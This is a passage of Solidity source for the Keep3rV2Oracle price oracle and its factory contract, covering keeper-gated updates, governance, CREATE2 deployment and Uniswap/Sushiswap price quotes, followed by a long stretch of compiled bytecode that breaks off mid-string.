nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(
currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
}
amountOut = priceAverageCumulative / points;
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
prices = new uint[](points);
if (token0 == tokenIn) {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(
currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
} else {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(
currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
}
}
}
// File: Keep3rV2OracleFactory.sol
contract Keep3rV2OracleFactory {
function pairForSushi(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0xc35DADB65012eC5796536bD9864eD8773aBc74C4,
keccak256(abi.encodePacked(token0, token1)),
hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash
)))));
}
function pairForUni(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
)))));
}
modifier keeper() {
require(KP3R.keepers(msg.sender), "!K");
_;
}
modifier upkeep() {
uint _gasUsed = gasleft();
require(KP3R.keepers(msg.sender), "!K");
_;
uint _received = KP3R.KPRH().getQuoteLimit(_gasUsed - gasleft());
KP3R.receipt(address(KP3R), msg.sender, _received);
}
address public governance;
address public pendingGovernance;
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
require(msg.sender == governance, "!G");
pendingGovernance = _governance;
}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "!pG");
governance = pendingGovernance;
}
IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44);
address[] internal _pairs;
mapping(address => Keep3rV2Oracle) public feeds;
function pairs() external view returns (address[] memory) {
return _pairs;
}
constructor() {
governance = msg.sender;
}
function update(address pair) external keeper returns (bool) {
return feeds[pair].update();
}
function byteCode(address pair) external pure returns (bytes memory bytecode) {
bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
}
function deploy(address pair) external returns (address feed) {
require(msg.sender == governance, "!G");
require(address(feeds[pair]) == address(0), 'PE');
bytes memory bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
bytes32 salt = keccak256(abi.encodePacked(pair));
assembly {
feed := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
if iszero(extcodesize(feed)) {
revert(0, 0)
}
}
feeds[pair] = Keep3rV2Oracle(feed);
_pairs.push(pair);
}
function work() external upkeep {
require(workable(), "!W");
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function work(address pair) external upkeep {
require(feeds[pair].update(), "!W");
}
function workForFree() external keeper {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function workForFree(address pair) external keeper {
feeds[pair].update();
}
function cache(uint size) external {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].cache(size);
}
}
function cache(address pair, uint size) external {
feeds[pair].cache(size);
}
function workable() public view returns (bool canWork) {
canWork = true;
for (uint i = 0; i < _pairs.length; i++) {
if (!feeds[_pairs[i]].updateable()) {
canWork = false;
}
}
}
function workable(address pair) public view returns (bool) {
return feeds[pair].updateable();
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window, bool sushiswap) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function sample(address pair, address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
return feeds[pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].quote(tokenIn, amountIn, tokenOut, points);
}
function quote(address pair, address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) {
return feeds[pair].quote(tokenIn, amountIn, tokenOut, points);
}
function current(address tokenIn, uint amountIn, address tokenOut, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].current(tokenIn, amountIn, tokenOut);
}
function current(address pair, address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) {
return feeds[pair].current(tokenIn, amountIn, tokenOut);
}
}
|
0x60806040523480156200001157600080fd5b5060043610620001785760003560e01c8063399b2fb911620000d55780639f47130311620000875780639f4713031462000363578063ab033ea9146200037a578063ac8355921462000391578063f39c38a014620003a8578063fe54cee614620003bc578063ffb0a4a014620003d35762000178565b8063399b2fb914620002f65780634c96a389146200030057806350d4d86614620003175780635aa6e675146200032e578063740c25a2146200034257806380bb2bac14620003595762000178565b8063273c9d72116200012f578063273c9d7214620002555780632fba4aa9146200026c57806331ff3e9f1462000298578063322e9f0414620002af57806336df7ea514620002b9578063376346de14620002d05762000178565b806305e0b9a0146200017d578063122ba6d114620001b657806317bf72c614620001dd5780631c1b877214620001f6578063238efcbc146200021e57806323c87faf1462000228575b600080fd5b62000199731ceb5cb57c4d4e2b2433641b95dd330a33185a4481565b6040516001600160a01b0390911681526020015b60405180910390f35b620001cd620001c736600462001cca565b620003ec565b604051620001ad92919062001f21565b620001f4620001ee36600462001e49565b620004d8565b005b6200020d6200020736600462001a9e565b620005a4565b6040519015158152602001620001ad565b620001f4620006ea565b6200023f6200023936600462001c65565b62000750565b60408051928352602083019190915201620001ad565b6200023f6200026636600462001ac4565b6200082f565b620001996200027d36600462001a9e565b6003602052600090815260409020546001600160a01b031681565b6200023f620002a936600462001c17565b620008dd565b620001f4620009b4565b620001f4620002ca36600462001a9e565b62000d17565b620002e7620002e136600462001a9e565b62001018565b604051620001ad919062001f6b565b620001f462001087565b620001996200031136600462001a9e565b62001215565b620001cd6200032836600462001b7e565b620013c5565b60005462000199906001600160a01b031681565b620001f46200035336600462001a9e565b62001489565b6200020d620015bd565b6200020d6200037436600462001a9e565b620016b0565b620001f46200038b36600462001a9e565b62001718565b620001f4620003a236600462001be9565b6200177b565b60015462000199906001600160a01b031681565b6200023f620003cd36600462001b1d565b620017bc565b620003dd62001872565b604051620001ad919062001ed2565b6060600080836200040957620004038988620018d6565b62000415565b620004158988620019c1565b6001600160a01b038181166000908152600360205260409081902054905163014f267360e31b81528c83166004820152602481018c90528a83166044820152606481018a9052608481018990529293501690630a7933989060a40160006040518083038186803b1580156200048957600080fd5b505afa1580156200049e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052620004c8919081019062001d37565b9250925050965096945050505050565b60005b600254811015620005a05760036000600283815481106200050c57634e487b7160e01b600052603260045260246000fd5b6000918252602080832091909101546001600160a01b0390811684529083019390935260409182019020549051630bdfb96360e11b8152600481018590529116906317bf72c690602401600060405180830381600087803b1580156200057157600080fd5b505af115801562000586573d6000803e3d6000fd5b505050508080620005979062002009565b915050620004db565b5050565b604051630eef592f60e21b8152336004820152600090731ceb5cb57c4d4e2b2433641b95dd330a33185a4490633bbd64bc90602401602060405180830381600087803b158015620005f457600080fd5b505af115801562000609573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200062f919062001e0b565b620006575760405162461bcd60e51b81526004016200064e9062001fa0565b60405180910390fd5b6001600160a01b03808316600090815260036020908152604080832054815163a2e6204560e01b8152915194169363a2e6204593600480840194938390030190829087803b158015620006a957600080fd5b505af1158015620006be573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620006e4919062001e0b565b92915050565b6001546001600160a01b031633146200072c5760405162461bcd60e51b815260206004820152600360248201526221704760e81b60448201526064016200064e565b600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000806000836200076d57620007678887620018d6565b62000779565b620007798887620019c1565b6001600160a01b038181166000908152600360205260409081902054905163ae6ec9b760e01b81528b83166004820152602481018b9052898316604482015260648101899052929350169063ae6ec9b790608401604080518083038186803b158015620007e557600080fd5b505afa158015620007fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000820919062001e7b565b92509250509550959350505050565b6001600160a01b038481166000908152600360205260408082205490516353ae9ce160e11b815286841660048201526024810186905284841660448201529192839291169063a75d39c290606401604080518083038186803b1580156200089557600080fd5b505afa158015620008aa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620008d0919062001e7b565b9150915094509492505050565b600080600083620008fa57620008f48786620018d6565b62000906565b620009068786620019c1565b6001600160a01b03818116600090815260036020526040908190205490516353ae9ce160e11b81528a83166004820152602481018a90528883166044820152929350169063a75d39c290606401604080518083038186803b1580156200096b57600080fd5b505afa15801562000980573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620009a6919062001e7b565b925092505094509492505050565b60005a604051630eef592f60e21b8152336004820152909150731ceb5cb57c4d4e2b2433641b95dd330a33185a4490633bbd64bc90602401602060405180830381600087803b15801562000a0757600080fd5b505af115801562000a1c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000a42919062001e0b565b62000a615760405162461bcd60e51b81526004016200064e9062001fa0565b62000a6b620015bd565b62000a9e5760405162461bcd60e51b8152602060048201526002602482015261215760f01b60448201526064016200064e565b60005b60025481101562000b8257600360006002838154811062000ad257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b039081168452838201949094526040928301822054835163a2e6204560e01b8152935194169363a2e6204593600480820194918390030190829087803b15801562000b3157600080fd5b505af115801562000b46573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000b6c919062001e0b565b508062000b798162002009565b91505062000aa1565b506000731ceb5cb57c4d4e2b2433641b95dd330a33185a446001600160a01b03166309aff02b6040518163ffffffff1660e01b815260040160206040518083038186803b15801562000bd357600080fd5b505afa15801562000be8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000c0e919062001e2a565b6001600160a01b031663525ea6315a62000c29908562001fbc565b6040518263ffffffff1660e01b815260040162000c4891815260200190565b60206040518083038186803b15801562000c6157600080fd5b505afa15801562000c76573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000c9c919062001e62565b6040516346cd669760e11b8152731ceb5cb57c4d4e2b2433641b95dd330a33185a446004820181905233602483015260448201839052919250638d9acd2e906064015b600060405180830381600087803b15801562000cfa57600080fd5b505af115801562000d0f573d6000803e3d6000fd5b505050505050565b60005a604051630eef592f60e21b8152336004820152909150731ceb5cb57c4d4e2b2433641b95dd330a33185a4490633bbd64bc90602401602060405180830381600087803b15801562000d6a57600080fd5b505af115801562000d7f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000da5919062001e0b565b62000dc45760405162461bcd60e51b81526004016200064e9062001fa0565b6001600160a01b03808316600090815260036020908152604080832054815163a2e6204560e01b8152915194169363a2e6204593600480840194938390030190829087803b15801562000e1657600080fd5b505af115801562000e2b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000e51919062001e0b565b62000e845760405162461bcd60e51b8152602060048201526002602482015261215760f01b60448201526064016200064e565b6000731ceb5cb57c4d4e2b2433641b95dd330a33185a446001600160a01b03166309aff02b6040518163ffffffff1660e01b815260040160206040518083038186803b15801562000ed457600080fd5b505afa15801562000ee9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000f0f919062001e2a565b6001600160a01b031663525ea6315a62000f2a908562001fbc565b6040518263ffffffff1660e01b815260040162000f4991815260200190565b60206040518083038186803b15801562000f6257600080fd5b505afa15801562000f77573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000f9d919062001e62565b6040516346cd669760e11b8152731ceb5cb57c4d4e2b2433641b95dd330a33185a446004820181905233602483015260448201839052919250638d9acd2e90606401600060405180830381600087803b15801562000ffa57600080fd5b505af11580156200100f573d6000803e3d6000fd5b50505050505050565b6060604051806020016200102c9062001a90565b601f1982820381018352601f9091011660408181526001600160a01b03851660208301520160408051601f198184030181529082905262001071929160200162001e9f565b6040516020818303038152906040529050919050565b604051630eef592f60e21b8152336004820152731ceb5cb57c4d4e2b2433641b95dd330a33185a4490633bbd64bc90602401602060405180830381600087803b158015620010d457600080fd5b505af1158015620010e9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200110f919062001e0b565b6200112e5760405162461bcd60e51b81526004016200064e9062001fa0565b60005b600254811015620012125760036000600283815481106200116257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b039081168452838201949094526040928301822054835163a2e6204560e01b8152935194169363a2e6204593600480820194918390030190829087803b158015620011c157600080fd5b505af1158015620011d6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620011fc919062001e0b565b5080620012098162002009565b91505062001131565b50565b600080546001600160a01b03163314620012575760405162461bcd60e51b8152602060048201526002602482015261214760f01b60448201526064016200064e565b6001600160a01b038281166000908152600360205260409020541615620012a65760405162461bcd60e51b8152602060048201526002602482015261504560f01b60448201526064016200064e565b600060405180602001620012ba9062001a90565b601f1982820381018352601f9091011660408181526001600160a01b03861660208301520160408051601f1981840301815290829052620012ff929160200162001e9f565b60408051601f19818403018152908290526001600160601b0319606086901b1660208301529150600090603401604051602081830303815290604052805190602001209050808251602084016000f59250823b6200135c57600080fd5b50506001600160a01b03918216600081815260036020526040812080549484166001600160a01b03199586161790556002805460018101825591527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180549093161790915590565b6001600160a01b0386811660009081526003602052604080822054905163014f267360e31b8152888416600482015260248101889052868416604482015260648101869052608481018590526060939190911690630a7933989060a40160006040518083038186803b1580156200143b57600080fd5b505afa15801562001450573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526200147a919081019062001d37565b91509150965096945050505050565b604051630eef592f60e21b8152336004820152731ceb5cb57c4d4e2b2433641b95dd330a33185a4490633bbd64bc90602401602060405180830381600087803b158015620014d657600080fd5b505af1158015620014eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001511919062001e0b565b620015305760405162461bcd60e51b81526004016200064e9062001fa0565b6001600160a01b03808216600090815260036020908152604080832054815163a2e6204560e01b8152915194169363a2e6204593600480840194938390030190829087803b1580156200158257600080fd5b505af115801562001597573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005a0919062001e0b565b600160005b600254811015620016ac576003600060028381548110620015f357634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03908116845283820194909452604092830190912054825163983586d960e01b8152925193169263983586d9926004808201939291829003018186803b1580156200165257600080fd5b505afa15801562001667573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200168d919062001e0b565b6200169757600091505b80620016a38162002009565b915050620015c2565b5090565b6001600160a01b03808216600090815260036020908152604080832054815163983586d960e01b815291519394169263983586d992600480840193919291829003018186803b1580156200170357600080fd5b505afa158015620006be573d6000803e3d6000fd5b6000546001600160a01b03163314620017595760405162461bcd60e51b8152602060048201526002602482015261214760f01b60448201526064016200064e565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0382811660009081526003602052604090819020549051630bdfb96360e11b8152600481018490529116906317bf72c69060240162000cdf565b6001600160a01b0385811660009081526003602052604080822054905163ae6ec9b760e01b81528784166004820152602481018790528584166044820152606481018590529192839291169063ae6ec9b790608401604080518083038186803b1580156200182957600080fd5b505afa1580156200183e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001864919062001e7b565b915091509550959350505050565b60606002805480602002602001604051908101604052809291908181526020018280548015620018cc57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311620018ad575b5050505050905090565b6000806000836001600160a01b0316856001600160a01b031610620018fd57838562001900565b84845b60408051606084811b6001600160601b03199081166020808501919091529185901b166034830152825160288184030181526048830190935282519201919091206001600160f81b03196068830152735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f60601b6069830152607d8201527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d820152919350915060bd015b60408051601f19818403018152919052805160209091012095945050505050565b6000806000836001600160a01b0316856001600160a01b031610620019e8578385620019eb565b84845b60408051606084811b6001600160601b03199081166020808501919091529185901b166034830152825160288184030181526048830190935282519201919091206001600160f81b031960688301527330d76b6d9404bb15e594daf66193b61dceaf1d3160621b6069830152607d8201527fe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303609d820152919350915060bd01620019a0565b611c7b806200207983390190565b60006020828403121562001ab0578081fd5b813562001abd8162002053565b9392505050565b6000806000806080858703121562001ada578283fd5b843562001ae78162002053565b9350602085013562001af98162002053565b925060408501359150606085013562001b128162002053565b939692955090935050565b600080600080600060a0868803121562001b35578081fd5b853562001b428162002053565b9450602086013562001b548162002053565b935060408601359250606086013562001b6d8162002053565b949793965091946080013592915050565b60008060008060008060c0878903121562001b97578081fd5b863562001ba48162002053565b9550602087013562001bb68162002053565b945060408701359350606087013562001bcf8162002053565b9598949750929560808101359460a0909101359350915050565b6000806040838503121562001bfc578182fd5b823562001c098162002053565b946020939093013593505050565b6000806000806080858703121562001c2d578384fd5b843562001c3a8162002053565b935060208501359250604085013562001c538162002053565b9150606085013562001b128162002069565b600080600080600060a0868803121562001c7d578081fd5b853562001c8a8162002053565b945060208601359350604086013562001ca38162002053565b925060608601359150608086013562001cbc8162002069565b809150509295509295909350565b60008060008060008060c0878903121562001ce3578182fd5b863562001cf08162002053565b955060208701359450604087013562001d098162002053565b9350606087013592506080870135915060a087013562001d298162002069565b809150509295509295509295565b6000806040838503121562001d4a578182fd5b825167ffffffffffffffff8082111562001d62578384fd5b818501915085601f83011262001d76578384fd5b815160208282111562001d8d5762001d8d6200203d565b8160051b604051601f19603f8301168101818110868211171562001db55762001db56200203d565b604052838152828101945085830182870184018b101562001dd4578889fd5b8896505b8487101562001df857805186526001969096019594830194830162001dd8565b5097909101519698969750505050505050565b60006020828403121562001e1d578081fd5b815162001abd8162002069565b60006020828403121562001e3c578081fd5b815162001abd8162002053565b60006020828403121562001e5b578081fd5b5035919050565b60006020828403121562001e74578081fd5b5051919050565b6000806040838503121562001e8e578182fd5b505080516020909101519092909150565b6000835162001eb381846020880162001fd6565b83519083019062001ec981836020880162001fd6565b01949350505050565b6020808252825182820181905260009190848201906040850190845b8181101562001f155783516001600160a01b03168352928401929184019160010162001eee565b50909695505050505050565b604080825283519082018190526000906020906060840190828701845b8281101562001f5c5781518452928401929084019060010162001f3e565b50505092019290925292915050565b600060208252825180602084015262001f8c81604085016020870162001fd6565b601f01601f19169190910160400192915050565b602080825260029082015261214b60f01b604082015260600190565b60008282101562001fd15762001fd162002027565b500390565b60005b8381101562001ff357818101518382015260200162001fd9565b8381111562002003576000848401525b50505050565b600060001982141562002020576200202062002027565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146200121257600080fd5b80151581146200121257600080fdfe60c0604052600160701b6201000055670de0b6b3a764000062010001553480156200002957600080fd5b5060405162001c7b38038062001c7b8339810160408190526200004c9162000319565b33606090811b6080526001600160601b031982821b1660a05260408051630240bc6b60e21b815290516000926001600160a01b03851692630902f1ac9260048083019392829003018186803b158015620000a557600080fd5b505afa158015620000ba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000e0919062000349565b92505050600062010000546201000154846001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b1580156200012a57600080fd5b505afa1580156200013f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200016591906200039d565b620001719190620003d7565b6200017d9190620003b6565b9050600062010000546201000154856001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b158015620001c557600080fd5b505afa158015620001da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020091906200039d565b6200020c9190620003d7565b620002189190620003b6565b6040805160608101825263ffffffff861681526001600160701b03808616602083015283169181019190915261ffff8054929350909160009190811690826200026183620003f9565b91906101000a81548161ffff021916908361ffff16021790555061ffff1661ffff81106200029f57634e487b7160e01b600052603260045260246000fd5b825191018054602084015160409094015163ffffffff9093166001600160901b0319909116176401000000006001600160701b0394851602176001600160901b0316600160901b9390921692909202179055506200043492505050565b80516001600160701b03811681146200031457600080fd5b919050565b6000602082840312156200032b578081fd5b81516001600160a01b038116811462000342578182fd5b9392505050565b6000806000606084860312156200035e578182fd5b6200036984620002fc565b92506200037960208501620002fc565b9150604084015163ffffffff8116811462000392578182fd5b809150509250925092565b600060208284031215620003af578081fd5b5051919050565b600082620003d257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615620003f457620003f46200041e565b500290565b600061ffff808316818114156200041457620004146200041e565b6001019392505050565b634e487b7160e01b600052601160045260246000fd5b60805160601c60a05160601c6117d5620004a6600039600081816101830152818161041f0152818161067b0152818161088001528181610a6501528181610b0401528181610bad01528181611044015281816111d10152818161128001526113330152600061093101526117d56000f3fe608060405234801561001057600080fd5b50600436106100935760003560e01c8063983586d911610066578063983586d914610136578063a2e620451461014e578063a75d39c214610156578063a8aa1b311461017e578063ae6ec9b7146101bd57610093565b80630a7933981461009857806317bf72c6146100c25780631f7b6d32146100d7578063252c09d7146100f7575b600080fd5b6100ab6100a636600461158b565b6101d0565b6040516100b9929190611656565b60405180910390f35b6100d56100d0366004611626565b610737565b005b61ffff80546100e4911681565b60405161ffff90911681526020016100b9565b61010a610105366004611626565b6107b1565b6040805163ffffffff90941684526001600160701b0392831660208501529116908201526060016100b9565b61013e6107ea565b60405190151581526020016100b9565b61013e610924565b61016961016436600461150d565b610994565b604080519283526020830191909152016100b9565b6101a57f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016100b9565b6101696101cb366004611548565b610d5d565b6060600080856001600160a01b0316886001600160a01b0316106101f55785886101f8565b87865b5090508467ffffffffffffffff81111561022257634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561024b578160200160208202803683370190505b509250876001600160a01b0316816001600160a01b031614156104d45761ffff805460009161027d91600191166116f5565b61ffff169050600061028f86886116d6565b6102999083611718565b60408051606081018252600080825260208201819052918101829052919250905b8383101561041b5760408051606081018252600080825260208201819052918101829052908461ffff81106102ff57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152905060006103488a8661169e565b61ffff811061036757634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020808701829052600160901b9094048216948601949094529185015185519496506103d094921692916103c49161172f565b63ffffffff168f611100565b8884815181106103f057634e487b7160e01b600052603260045260246000fd5b602090810291909101015261040683600161169e565b92506104149050888461169e565b92506102ba565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561047657600080fd5b505afa15801561048a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ae91906115d8565b845163ffffffff91821694506104c8935016905082611718565b9650505050505061072c565b61ffff80546000916104e991600191166116f5565b61ffff16905060006104fb86886116d6565b6105059083611718565b60408051606081018252600080825260208201819052918101829052919250905b838310156106775760408051606081018252600080825260208201819052918101829052908461ffff811061056b57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152905060006105b48a8661169e565b61ffff81106105d357634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020860152600160901b909204821684840181905292850151855194965061062c94921692916103c49161172f565b88848151811061064c57634e487b7160e01b600052603260045260246000fd5b602090810291909101015261066283600161169e565b92506106709050888461169e565b9250610526565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156106d257600080fd5b505afa1580156106e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070a91906115d8565b845163ffffffff9182169450610724935016905082611718565b965050505050505b509550959350505050565b61ffff805460009161074b9184911661169e565b61ffff8054919250165b818110156107ac57600160008261ffff811061078157634e487b7160e01b600052603260045260246000fd5b01805463ffffffff191663ffffffff92909216919091179055806107a48161176e565b915050610755565b505050565b60008161ffff81106107c257600080fd5b015463ffffffff811691506001600160701b03600160201b8204811691600160901b90041683565b61ffff80546000918291829161080391600191166116f5565b61ffff1661ffff811061082657634e487b7160e01b600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b90910416828201528051630240bc6b60e21b815290519193506000926001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692630902f1ac926004818101939291829003018186803b1580156108c357600080fd5b505afa1580156108d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fb91906115d8565b845163ffffffff91821694506000935061091792501683611718565b6107081093505050505b90565b6000336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146109875760405162461bcd60e51b815260206004820152600260248201526110a360f11b604482015260640160405180910390fd5b61098f61113b565b905090565b6000806000836001600160a01b0316866001600160a01b0316106109b95783866109bc565b85845b5061ffff805491925060009182916109d791600191166116f5565b61ffff1661ffff81106109fa57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b82048116602080860191909152600160901b9092041683830152620100005462010001548351635909c0d560e01b81529351949550600094919390926001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692635909c0d5926004818101939291829003018186803b158015610aa857600080fd5b505afa158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae0919061163e565b610aea91906116d6565b610af491906116b6565b90506000620100005462010001547f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5b57600080fd5b505afa158015610b6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b93919061163e565b610b9d91906116d6565b610ba791906116b6565b905060007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610c0457600080fd5b505afa158015610c18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3c91906115d8565b63ffffffff1692505050836000015163ffffffff16811415610cce5761ffff8054600091610c6d91600291166116f5565b61ffff1661ffff8110610c9057634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b909104169082015293505b8351600090610ce39063ffffffff1683611718565b90508015610cf15780610cf4565b60015b90508a6001600160a01b0316866001600160a01b03161415610d3057610d2985602001516001600160701b031685838d611100565b9750610d4c565b610d4985604001516001600160701b031684838d611100565b97505b809650505050505050935093915050565b6000806000846001600160a01b0316876001600160a01b031610610d82578487610d85565b86855b5061ffff80549192506000918291610da091600191166116f5565b61ffff1690506000610db28783611718565b9050610dd7604080516060810182526000808252602082018190529181019190915290565b604080516060810182526000808252602082018190529181019190915260008c6001600160a01b0316876001600160a01b03161415610f27575b84841015610f2257610e2484600161169e565b905060008461ffff8110610e4857634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152925060008161ffff8110610ea757634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020808701829052600160901b909404821694860194909452918701518751949650610f0494921692916103c49161172f565b610f0e908761169e565b955083610f1a8161176e565b945050610e11565b611034565b8484101561103457610f3a84600161169e565b905060008461ffff8110610f5e57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152925060008161ffff8110610fbd576